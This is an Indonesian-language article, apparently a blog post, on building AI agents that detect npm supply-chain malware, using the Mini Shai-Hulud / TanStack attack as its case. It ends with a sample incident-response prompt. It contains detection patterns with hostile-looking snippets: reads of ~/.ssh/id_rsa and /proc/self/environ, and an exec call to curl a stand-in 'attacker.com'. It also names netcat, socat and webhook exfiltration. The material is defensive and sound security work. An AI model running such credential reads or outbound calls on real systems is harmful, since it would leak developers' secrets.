# Membangun AI Agent untuk Mendeteksi Supply-Chain Malware npm: Studi Kasus Mini Shai-Hulud dan TanStack Attack

Era modern software engineering sangat bergantung pada:

*   open source,
    
*   package manager,
    
*   automation,
    
*   CI/CD,
    
*   dan AI coding agent.
    

Kini developer mulai menggunakan agent AI seperti:

*   OpenCode,
    
*   Antigravity,
    
*   Claude Code,
    
*   Cursor Agent,
    
*   Aider,
    
*   Devin,
    
*   SWE-agent,
    
*   hingga agent internal perusahaan.
    

Agent-agent ini memiliki akses besar:

*   membaca source code,
    
*   menjalankan terminal,
    
*   install dependency,
    
*   mengakses environment variable,
    
*   bahkan menjalankan deployment.
    

Masalahnya:

> jika dependency berbahaya masuk ke project, AI agent juga bisa ikut menjalankan malware tersebut.

Kasus **Mini Shai-Hulud** menjadi contoh nyata bagaimana supply-chain attack modern tidak lagi hanya menyerang aplikasi production, tetapi langsung menarget:

*   developer environment,
    
*   CI/CD pipeline,
    
*   dan automation system.
    

Artikel ini membahas:

1.  bagaimana malware tersebut bekerja,
    
2.  bagaimana AI agent dapat mendeteksinya,
    
3.  bagaimana membangun workflow investigasi otomatis,
    
4.  serta bagaimana recovery dan hardening dilakukan.
    

* * *

# Apa Itu Mini Shai-Hulud?

Mini Shai-Hulud adalah kampanye supply-chain malware yang menyerang ekosistem:

*   npm,
    
*   PyPI,
    
*   GitHub Actions,
    
*   dan cloud credential developer.
    

Serangan ini menjadi sangat serius karena attacker berhasil:

*   menyusup ke package populer,
    
*   mencuri credential,
    
*   memanfaatkan GitHub Actions,
    
*   menggunakan trusted publishing,
    
*   serta menyebarkan malware secara otomatis.
    

Beberapa package `@tanstack/*` sempat dipublikasikan dalam versi berbahaya.

Menurut advisory GitHub, attacker berhasil mempublikasikan puluhan malicious package version hanya dalam hitungan menit.

* * *

# Mengapa Ini Berbahaya untuk AI Agent?

AI coding agent modern biasanya memiliki:

*   akses terminal,
    
*   akses filesystem,
    
*   akses GitHub token,
    
*   akses SSH key,
    
*   akses cloud credential,
    
*   akses CI/CD.
    

Jika agent menjalankan:

```bash
npm install
```

dan dependency ternyata malicious, maka malware dapat:

*   membaca environment variable,
    
*   mengambil token,
    
*   mengakses memory process,
    
*   mengirim credential ke attacker.
    

Artinya:

> AI agent dapat menjadi amplifier dari supply-chain attack.

* * *

# Cara Kerja Malware Supply-Chain npm

## 1\. Package Berbahaya Diinstall

Developer atau AI agent menjalankan:

```bash
npm install
```

atau:

```bash
pnpm install
```

* * *

## 2\. Lifecycle Script Dieksekusi

npm memiliki lifecycle script seperti:

*   `preinstall`
    
*   `postinstall`
    
*   `prepare`
    

Contoh:

```json
{
  "scripts": {
    "postinstall": "node router_init.js"
  }
}
```

Script ini otomatis berjalan saat install.

* * *

# 3\. Malware Mengambil Credential

Payload biasanya mencoba membaca:

*   `process.env`
    
*   `~/.ssh`
    
*   `~/.aws`
    
*   `~/.npmrc`
    
*   GitHub token
    
*   cloud credential
    

Beberapa laporan juga menyebut malware mencoba membaca:

```txt
/proc/<pid>/mem
```

untuk mengambil secret dari process Linux lain.

* * *

# 4\. Data Dikirim ke Server Attacker

Malware kemudian melakukan:

*   HTTP POST,
    
*   webhook exfiltration,
    
*   upload credential,
    
*   atau DNS exfiltration.
    

* * *

# 5\. Worm Menyebar

Jika token maintainer berhasil dicuri:

*   attacker publish malware baru,
    
*   compromise package lain,
    
*   lalu menyebar lebih luas.
    

* * *

# Bagaimana AI Agent Bisa Mendeteksi Malware Ini?

AI agent tidak boleh hanya:

*   menjalankan install,
    
*   lalu percaya dependency aman.
    

Agent harus memiliki:

# supply-chain awareness.

* * *

# Strategi Deteksi untuk AI Agent

## 1\. Audit Dependency

Agent harus:

*   membaca `package.json`
    
*   membaca lockfile
    
*   memeriksa dependency transitif
    
*   membandingkan versi dengan advisory publik
    

Contoh command:

```bash
npm ls @tanstack/react-router
```

atau:

```bash
pnpm why @tanstack/react-router
```

* * *

# 2\. Scan Lifecycle Script

Agent harus mencari:

```bash
grep -R "\"preinstall\"" node_modules
grep -R "\"postinstall\"" node_modules
grep -R "\"prepare\"" node_modules
```

Kemudian analisa:

*   apakah ada obfuscation,
    
*   apakah ada `eval`,
    
*   apakah ada `child_process`,
    
*   apakah ada network request,
    
*   apakah ada credential access.
    

* * *

# 3\. Deteksi Credential Harvesting

AI agent harus mendeteksi pola seperti:

```js
process.env
```

atau:

```js
fs.readFileSync("/home/user/.ssh/id_rsa")
```

atau:

```js
fs.readFileSync("/proc/self/environ")
```

* * *

# 4\. Deteksi Network Exfiltration

Cari:

*   `fetch`
    
*   `axios`
    
*   `http.request`
    
*   `curl`
    
*   `wget`
    

yang mengirim data sensitif keluar.

* * *

# 5\. Audit GitHub Actions

Agent juga harus memeriksa:

```txt
.github/workflows
```

karena supply-chain attack modern sering menyerang CI/CD.

Fokus pada:

*   `pull_request_target`
    
*   dynamic script execution
    
*   untrusted artifact
    
*   cache poisoning
    
*   OIDC misuse
    

* * *

# Arsitektur AI Security Agent

AI agent ideal memiliki pipeline seperti ini:

```txt
Source Code
    ↓
Dependency Analyzer
    ↓
Lifecycle Script Scanner
    ↓
Behavioral Analyzer
    ↓
Credential Access Detector
    ↓
Network Exfiltration Detector
    ↓
Risk Scoring Engine
    ↓
Recovery Recommendation
```

* * *

# Pendekatan yang Lebih Benar: Behavioral Analysis

Kesalahan umum:

*   terlalu fokus IOC statis,
    
*   terlalu fokus hash,
    
*   terlalu fokus nama file tertentu.
    

Padahal attacker bisa mengganti:

*   nama file,
    
*   domain,
    
*   hash,
    
*   payload.
    

Yang lebih penting:

# perilaku malware.

* * *

# Pola Perilaku yang Harus Dideteksi

## Suspicious Lifecycle

```json
"postinstall": "node install.js"
```

* * *

## Environment Harvesting

```js
console.log(process.env)
```

* * *

## Shell Execution

```js
exec("curl attacker.com")
```

* * *

## SSH Key Access

```js
fs.readFileSync("~/.ssh/id_rsa")
```

* * *

## Child Process Abuse

```js
require("child_process")
```

* * *

## Memory Scraping

```txt
/proc/<pid>/mem
```

* * *

# Recovery Workflow untuk AI Agent

Jika compromise terdeteksi:

## 1\. Stop Automation

Hentikan:

*   CI/CD,
    
*   deployment,
    
*   auto publish.
    

* * *

## 2\. Rotate Credential

Agent harus merekomendasikan rotation:

*   GitHub token
    
*   npm token
    
*   AWS credential
    
*   SSH key
    
*   database password
    

* * *

## 3\. Bersihkan Dependency

```bash
rm -rf node_modules
rm package-lock.json
npm cache clean --force
npm install
```

* * *

## 4\. Audit Repository

Periksa:

*   workflow baru,
    
*   commit asing,
    
*   publish activity,
    
*   suspicious automation.
    

* * *

## 5\. Audit Cloud Activity

Periksa:

*   login asing,
    
*   deployment mencurigakan,
    
*   secret access,
    
*   instance baru.
    

* * *

# Hardening untuk AI Coding Agent

## 1\. Jangan Jalankan Install Secara Blind

Agent harus:

*   scan dependency dulu,
    
*   baru install.
    

* * *

# 2\. Gunakan Sandbox

Agent sebaiknya berjalan di:

*   container isolated,
    
*   ephemeral VM,
    
*   restricted filesystem.
    

* * *

# 3\. Minimal Permission

Jangan berikan:

*   full AWS admin,
    
*   unrestricted SSH,
    
*   persistent token.
    

* * *

# 4\. Gunakan Read-Only Token

Jika memungkinkan:

*   gunakan scoped credential,
    
*   short-lived token,
    
*   ephemeral session.
    

* * *

# 5\. Disable Dangerous Lifecycle Script

Jika memungkinkan:

```bash
npm install --ignore-scripts
```

lalu audit manual sebelum menjalankan script.

* * *

# Mengapa Ini Penting di Era AI?

Semakin banyak developer menggunakan AI agent untuk:

*   coding,
    
*   deployment,
    
*   automation,
    
*   DevOps.
    

Jika AI agent tidak memahami supply-chain security:

*   malware bisa menyebar jauh lebih cepat,
    
*   credential perusahaan bisa bocor,
    
*   CI/CD bisa dibajak otomatis.
    

Karena itu AI coding agent modern harus memiliki:

# security reasoning capability.

Bukan sekadar autocomplete code.

* * *

# Kesimpulan

Kasus Mini Shai-Hulud menunjukkan bahwa:

*   supply-chain attack modern semakin kompleks,
    
*   trusted package tidak selalu aman,
    
*   CI/CD kini menjadi target utama,
    
*   dan AI coding agent dapat menjadi target berikutnya.
    

AI agent masa depan harus mampu:

*   mengaudit dependency,
    
*   mendeteksi perilaku malware,
    
*   memahami lifecycle script,
    
*   menganalisa credential access,
    
*   serta melakukan recovery dengan aman.
    

Karena di era automation dan AI, satu dependency berbahaya bisa mengkompromi:

*   developer,
    
*   cloud,
    
*   pipeline,
    
*   hingga seluruh rantai distribusi software.
    

* * *

# Referensi Resmi dan Analisis Teknis

## Advisory Resmi

[GitHub Advisory GHSA-g7cv-rxg3-hmpx](https://github.com/advisories/GHSA-g7cv-rxg3-hmpx?utm_source=chatgpt.com)

* * *

# Analisis Teknis

[Snyk Analysis](https://snyk.io/blog/tanstack-npm-packages-compromised/?utm_source=chatgpt.com)

[Socket.dev Analysis](https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack?utm_source=chatgpt.com)

[StepSecurity Research](https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem?utm_source=chatgpt.com)

[Semgrep Supply Chain Analysis](https://semgrep.dev/blog/2026/tanstack-router-packages-hit-by-coordinated-supply-chain-attack?utm_source=chatgpt.com)

* * *

# Liputan Security

[TechRadar OpenAI Report](https://www.techradar.com/pro/security/openai-confirms-security-breach-in-tanstack-supply-chain-attack-but-says-no-user-data-was-affected?utm_source=chatgpt.com)

[Tom's Hardware Report](https://www.tomshardware.com/tech-industry/cyber-security/compromised-mistral-ai-and-tanstack-packages-may-have-exposed-github-cloud-and-ci-cd-credentials-in-mini-shai-hulud-malware-infection-supply-chain-campaign-spreads-across-npm-and-ai-developer-ecosystems-like-wildfire?utm_source=chatgpt.com)

Contoh Prompt untuk Agent AI

```markdown
# ROLE

Kamu adalah AI Security Incident Responder dan Supply-Chain Security Auditor.

Fokus utama:
- mendeteksi compromise dependency npm/pnpm/yarn
- menganalisa kemungkinan supply-chain attack
- mendeteksi credential theft
- memeriksa lifecycle script berbahaya
- menganalisa GitHub Actions compromise
- membantu recovery dengan aman

Jangan hanya memberi teori.
Lakukan investigasi teknis step-by-step.

Prioritas:
1. Deteksi compromise
2. Identifikasi IOC
3. Analisa tingkat risiko
4. Mitigasi
5. Recovery
6. Hardening

---

# KASUS YANG DIANALISA

Investigasi kemungkinan compromise terkait:
- TanStack npm supply-chain attack
- Mini Shai-Hulud worm
- lifecycle script malware
- credential exfiltration
- GitHub Actions compromise
- OIDC token theft
- npm package compromise

---

# TUGAS

Lakukan investigasi menyeluruh terhadap project saat ini.

Fokus pemeriksaan:

## 1. Dependency Audit

Periksa:
- package.json
- package-lock.json
- pnpm-lock.yaml
- yarn.lock
- node_modules

Cari:
- package @tanstack/*
- versi mencurigakan
- dependency transitif berbahaya
- package unpublished/republished
- dependency anomali

Tampilkan:
- package
- versi
- dependency path
- tingkat risiko

---

## 2. Lifecycle Script Audit

Cari:
- preinstall
- postinstall
- prepare

Deteksi:
- obfuscated JavaScript
- eval()
- child_process
- curl/wget
- fetch remote payload
- process.env harvesting
- credential access
- filesystem traversal
- suspicious shell execution

Prioritaskan file:
- router_init.js
- init.js
- install.js
- prepare.js

Tampilkan:
- lokasi file
- isi script berbahaya
- severity
- alasan mencurigakan

---

## 3. Credential Theft Detection

Analisa apakah ada script yang mencoba membaca:
- process.env
- ~/.ssh
- ~/.aws
- ~/.npmrc
- ~/.git-credentials
- ~/.config
- /proc/<pid>/mem

Cari:
- environment dumping
- token harvesting
- memory scraping
- SSH key access
- AWS credential access
- GitHub token access

---

## 4. Network Exfiltration Detection

Cari indikasi:
- HTTP POST mencurigakan
- outbound request
- webhook exfiltration
- DNS exfiltration
- IP asing
- hidden fetch request

Deteksi:
- axios/fetch/http.request
- curl/wget
- netcat/socat
- Telegram/Discord webhook
- pastebin/upload service

---

## 5. GitHub Actions Audit

Periksa:
- .github/workflows
- pull_request_target
- workflow_call
- cache poisoning risk
- secret exposure
- OIDC misuse
- suspicious workflow modification

Cari:
- dynamic script execution
- untrusted artifact
- remote execution
- token leakage

---

## 6. IOC Scanning

Cari IOC terkait Mini Shai-Hulud:
- router_init.js
- suspicious lifecycle hook
- process memory access
- suspicious npm publish workflow

Tetapi:
JANGAN hanya bergantung pada IOC statis.
Utamakan behavioral analysis.

---

# RECOVERY PLAN

Jika compromise ditemukan:

## WAJIB:
- anggap credential sudah bocor
- daftar credential yang harus di-rotate
- jelaskan tingkat urgensi
- jelaskan blast radius

---

# OUTPUT FORMAT

Gunakan format berikut:

# EXECUTIVE SUMMARY

- Status: CLEAN / SUSPICIOUS / COMPROMISED
- Severity:
- Risiko utama:
- Package terdampak:
- Kemungkinan credential theft:
- Kemungkinan CI/CD compromise:

---

# FINDINGS

## Finding 1
Severity:
File:
Deskripsi:
Technical Analysis:
Impact:
Recommendation:

---

# IOC FOUND

- IOC:
- Lokasi:
- Severity:
- Confidence:

---

# MALICIOUS CODE ANALYSIS

Jelaskan:
- cara kerja malware
- data yang dicuri
- persistence
- exfiltration method
- propagation

---

# RECOVERY ACTION

Prioritas:
1.
2.
3.

Sertakan:
- credential rotation list
- cleanup step
- rebuild recommendation
- CI/CD hardening

---

# HARDENING RECOMMENDATION

Berikan:
- npm security best practice
- GitHub Actions hardening
- least privilege
- isolated runner
- dependency pinning
- lockfile strategy
- secret management
- supply-chain defense

---

# RULES

- Jangan memberikan jawaban generik
- Jangan hanya menjelaskan teori
- Fokus pada investigasi nyata
- Prioritaskan bukti teknis
- Bedakan:
  - confirmed malicious
  - suspicious
  - low confidence
- Jangan panic-based response
- Jelaskan confidence level setiap temuan
- Jika tidak ada bukti compromise, katakan dengan jelas

---

# REFERENSI VALID

Gunakan pendekatan yang sesuai dengan:
- GitHub Security Advisory
- Snyk analysis
- Socket.dev analysis
- Semgrep supply-chain analysis
- StepSecurity research

---

# TUJUAN AKHIR

Menentukan:
- apakah project compromise
- bagaimana malware bekerja
- apakah credential mungkin bocor
- bagaimana recovery aman dilakukan
- bagaimana mencegah kejadian serupa
```